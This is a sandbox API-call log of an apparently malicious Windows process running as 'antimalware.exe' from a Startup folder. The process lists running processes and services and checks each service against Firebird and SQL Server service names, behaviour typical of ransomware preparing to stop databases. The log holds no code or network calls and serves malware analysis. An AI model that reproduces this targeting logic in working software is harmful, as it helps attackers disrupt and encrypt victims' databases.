	[0175.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0175.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0175.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0175.397] lstrlenW (lpString="StateRepository") returned 15
	[0175.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0175.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0175.398] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0175.398] lstrlenW (lpString="SysMain") returned 7
	[0175.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0175.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0175.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0175.398] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0175.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0175.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0175.398] lstrlenW (lpString="Themes") returned 6
	[0175.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0175.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0175.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0175.398] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0175.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0175.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0175.398] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0175.398] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0175.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4642fd8 | out: hHeap=0x4f0000) returned 1
	[0175.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x53c
	[0175.404] Process32FirstW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0175.405] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0175.406] lstrlenW (lpString="System") returned 6
	[0175.406] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0175.407] lstrlenW (lpString="smss.exe") returned 8
	[0175.407] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.408] lstrlenW (lpString="csrss.exe") returned 9
	[0175.408] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0175.409] lstrlenW (lpString="wininit.exe") returned 11
	[0175.409] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.410] lstrlenW (lpString="csrss.exe") returned 9
	[0175.410] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0175.411] lstrlenW (lpString="winlogon.exe") returned 12
	[0175.411] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0175.412] lstrlenW (lpString="services.exe") returned 12
	[0175.412] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0175.413] lstrlenW (lpString="lsass.exe") returned 9
	[0175.413] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.414] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.414] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.415] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.415] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.416] lstrlenW (lpString="svchost.exe") returned 11
	[0175.416] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.417] lstrlenW (lpString="svchost.exe") returned 11
	[0175.417] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0175.418] lstrlenW (lpString="dwm.exe") returned 7
	[0175.418] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.419] lstrlenW (lpString="svchost.exe") returned 11
	[0175.419] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.420] lstrlenW (lpString="svchost.exe") returned 11
	[0175.420] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.429] lstrlenW (lpString="svchost.exe") returned 11
	[0175.429] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.430] lstrlenW (lpString="svchost.exe") returned 11
	[0175.430] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.431] lstrlenW (lpString="svchost.exe") returned 11
	[0175.431] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.432] lstrlenW (lpString="svchost.exe") returned 11
	[0175.432] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.433] lstrlenW (lpString="svchost.exe") returned 11
	[0175.433] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.434] lstrlenW (lpString="svchost.exe") returned 11
	[0175.434] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.435] lstrlenW (lpString="svchost.exe") returned 11
	[0175.435] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.436] lstrlenW (lpString="svchost.exe") returned 11
	[0175.436] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0175.437] lstrlenW (lpString="spoolsv.exe") returned 11
	[0175.437] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.438] lstrlenW (lpString="svchost.exe") returned 11
	[0175.438] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0175.439] lstrlenW (lpString="audiodg.exe") returned 11
	[0175.439] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0175.440] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0175.440] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0175.441] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0175.441] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0175.442] lstrlenW (lpString="sihost.exe") returned 10
	[0175.442] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0175.443] lstrlenW (lpString="Memory Compression") returned 18
	[0175.443] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.444] lstrlenW (lpString="svchost.exe") returned 11
	[0175.444] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0175.445] lstrlenW (lpString="taskhostw.exe") returned 13
	[0175.445] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0175.446] lstrlenW (lpString="msoia.exe") returned 9
	[0175.446] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0175.447] lstrlenW (lpString="explorer.exe") returned 12
	[0175.447] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0175.448] lstrlenW (lpString="SearchUI.exe") returned 12
	[0175.448] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0175.449] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0175.449] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0175.450] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0175.450] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0175.450] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0175.451] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0175.452] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0175.452] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0175.453] lstrlenW (lpString="dllhost.exe") returned 11
	[0175.453] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0175.454] lstrlenW (lpString="dllhost.exe") returned 11
	[0175.454] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0175.455] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0175.455] Process32NextW (in: hSnapshot=0x53c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0
	[0175.456] CloseHandle (hObject=0x53c) returned 1
	[0175.456] Sleep (dwMilliseconds=0x1f4) 
	[0176.122] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0610
	[0176.122] EnumServicesStatusExW (in: hSCManager=0x45b0610, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0176.123] GetLastError () returned 0xea
	[0176.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x550940
	[0176.124] EnumServicesStatusExW (in: hSCManager=0x45b0610, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x550940, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x550940, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0176.124] CloseServiceHandle (hSCObject=0x45b0610) returned 1
	[0176.125] lstrlenW (lpString="Appinfo") returned 7
	[0176.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0176.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0176.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0176.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0176.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0176.125] lstrlenW (lpString="AppXSvc") returned 7
	[0176.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0176.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0176.125] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0176.125] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0176.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0176.125] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0176.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0176.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0176.125] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0176.125] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0176.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0176.125] lstrlenW (lpString="Audiosrv") returned 8
	[0176.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0176.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0176.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0176.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0176.126] lstrlenW (lpString="BFE") returned 3
	[0176.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0176.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0176.126] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0176.126] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0176.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0176.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0176.126] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0176.126] lstrlenW (lpString="CDPSvc") returned 6
	[0176.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0176.126] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0176.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0176.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0176.126] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0176.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0176.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0176.127] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0176.127] lstrlenW (lpString="CryptSvc") returned 8
	[0176.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0176.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0176.127] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0176.127] lstrlenW (lpString="DcomLaunch") returned 10
	[0176.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0176.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0176.127] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0176.127] lstrlenW (lpString="DeviceAssociationService") returned 24
